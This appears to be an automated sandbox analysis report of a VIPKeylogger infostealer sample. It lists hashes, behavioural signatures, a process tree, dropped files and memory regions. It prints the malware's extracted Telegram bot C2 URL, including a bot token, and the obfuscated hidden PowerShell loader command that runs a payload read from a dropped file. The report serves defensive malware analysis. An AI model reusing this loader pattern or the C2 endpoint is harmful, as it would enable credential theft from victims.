Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2024 02:49

General

  • Target

    a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe

  • Size

    844KB

  • MD5

    66ecc5207b13c8ab6e2289aae6fddde1

  • SHA1

    9f6a9dec6a08fafd49908831ea27b0410b6bd934

  • SHA256

    a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f

  • SHA512

    80fded17f0ca1cf6c61600dadeaaf171de83de4276b11aefeda43f497a39c0f029af9284d604ae5d892cfb72eae6ad352ab4b07a40ac2eb7fc0270286974e6ae

  • SSDEEP

    12288:8/AKvOjFE2PvzaAsXAxkdnJoAjXbQYi2yBZFVkh7aZMljR0lE/V5Je0sZptLOije:DoOGiwwxkBJoSr+zxU77jH5toptKigDf

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot8065526741:AAEj68BwW3BsUStAxrPkDSB2kLxwQ3yik84/sendMessage?chat_id=6897585916

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe
    "C:\Users\Admin\AppData\Local\Temp\a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1508
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Spaanens=gc -raw 'C:\Users\Admin\AppData\Local\faatallige\alternativet.Jug';$Prebrachial=$Spaanens.SubString(72910,3);.$Prebrachial($Spaanens) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4920
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:3356

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oyedbkro.pn2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\faatallige\Utaalmodighedens.goa

    Filesize

    347KB

    MD5

    4686941746f31ddfb36d1ebbb44e7ebf

    SHA1

    cd3fd8c8ab8e38cc016991132d62b1bdc1fa687b

    SHA256

    18692d5a318572028fa704053cb44bb255d351d61942a5fc0447d2ee1e37e7fd

    SHA512

    7d9d7c43f05637bfbd783de0471e1a2f5a0832faca26f0f0f8a54bc80c1407ea88bf08a579ec18d6548ff937678a51ed852777d38223bd8c3f7881f424751fb1

  • C:\Users\Admin\AppData\Local\faatallige\alternativet.Jug

    Filesize

    71KB

    MD5

    d2e21a96d0e3214bdc85bf4ed9567574

    SHA1

    e27596a46448f36aebf57d5a0e7e4ed5711be460

    SHA256

    0f111bf0c2084dd34a25590ddf1254aae69060015f94addf112937e1d6807453

    SHA512

    cc27da978ad0659de87a3cddc5c8e27bda7de9e3c17565339061870db4cd625586aefbd943ac443fc84165a501cf27958c0d92db92aa799e12bf1a29563bd00d

  • memory/3356-84-0x0000000000E10000-0x0000000000E5A000-memory.dmp

    Filesize

    296KB

  • memory/3356-83-0x0000000000E10000-0x0000000002064000-memory.dmp

    Filesize

    18.3MB

  • memory/3356-92-0x0000000024170000-0x000000002417A000-memory.dmp

    Filesize

    40KB

  • memory/3356-90-0x00000000249B0000-0x0000000024EDC000-memory.dmp

    Filesize

    5.2MB

  • memory/3356-89-0x00000000239F0000-0x0000000023A40000-memory.dmp

    Filesize

    320KB

  • memory/3356-88-0x00000000242B0000-0x0000000024472000-memory.dmp

    Filesize

    1.8MB

  • memory/3356-86-0x0000000024040000-0x00000000240D2000-memory.dmp

    Filesize

    584KB

  • memory/3356-85-0x0000000023580000-0x000000002361C000-memory.dmp

    Filesize

    624KB

  • memory/4920-48-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-54-0x0000000007FA0000-0x0000000007FCA000-memory.dmp

    Filesize

    168KB

  • memory/4920-25-0x00000000061E0000-0x00000000061FE000-memory.dmp

    Filesize

    120KB

  • memory/4920-26-0x0000000006210000-0x000000000625C000-memory.dmp

    Filesize

    304KB

  • memory/4920-27-0x00000000071D0000-0x0000000007266000-memory.dmp

    Filesize

    600KB

  • memory/4920-28-0x0000000006700000-0x000000000671A000-memory.dmp

    Filesize

    104KB

  • memory/4920-29-0x0000000006750000-0x0000000006772000-memory.dmp

    Filesize

    136KB

  • memory/4920-30-0x0000000007850000-0x0000000007DF4000-memory.dmp

    Filesize

    5.6MB

  • memory/4920-32-0x0000000008480000-0x0000000008AFA000-memory.dmp

    Filesize

    6.5MB

  • memory/4920-33-0x0000000007600000-0x0000000007632000-memory.dmp

    Filesize

    200KB

  • memory/4920-34-0x0000000071040000-0x000000007108C000-memory.dmp

    Filesize

    304KB

  • memory/4920-44-0x00000000075E0000-0x00000000075FE000-memory.dmp

    Filesize

    120KB

  • memory/4920-45-0x0000000007650000-0x00000000076F3000-memory.dmp

    Filesize

    652KB

  • memory/4920-46-0x0000000007770000-0x000000000777A000-memory.dmp

    Filesize

    40KB

  • memory/4920-47-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-13-0x00000000052C0000-0x0000000005326000-memory.dmp

    Filesize

    408KB

  • memory/4920-49-0x0000000007790000-0x00000000077A1000-memory.dmp

    Filesize

    68KB

  • memory/4920-50-0x00000000077D0000-0x00000000077DE000-memory.dmp

    Filesize

    56KB

  • memory/4920-51-0x00000000077E0000-0x00000000077F4000-memory.dmp

    Filesize

    80KB

  • memory/4920-52-0x0000000007F40000-0x0000000007F5A000-memory.dmp

    Filesize

    104KB

  • memory/4920-53-0x0000000007810000-0x0000000007818000-memory.dmp

    Filesize

    32KB

  • memory/4920-24-0x0000000005D00000-0x0000000006054000-memory.dmp

    Filesize

    3.3MB

  • memory/4920-55-0x0000000007FD0000-0x0000000007FF4000-memory.dmp

    Filesize

    144KB

  • memory/4920-56-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-57-0x000000007522E000-0x000000007522F000-memory.dmp

    Filesize

    4KB

  • memory/4920-58-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-59-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-61-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-62-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-63-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-64-0x0000000008B00000-0x000000000C845000-memory.dmp

    Filesize

    61.3MB

  • memory/4920-65-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-66-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-67-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-19-0x0000000005B90000-0x0000000005BF6000-memory.dmp

    Filesize

    408KB

  • memory/4920-12-0x0000000005220000-0x0000000005242000-memory.dmp

    Filesize

    136KB

  • memory/4920-11-0x00000000053B0000-0x00000000059D8000-memory.dmp

    Filesize

    6.2MB

  • memory/4920-10-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-9-0x0000000004C60000-0x0000000004C96000-memory.dmp

    Filesize

    216KB

  • memory/4920-8-0x000000007522E000-0x000000007522F000-memory.dmp

    Filesize

    4KB

  • memory/4920-69-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4920-70-0x0000000075220000-0x00000000759D0000-memory.dmp

    Filesize

    7.7MB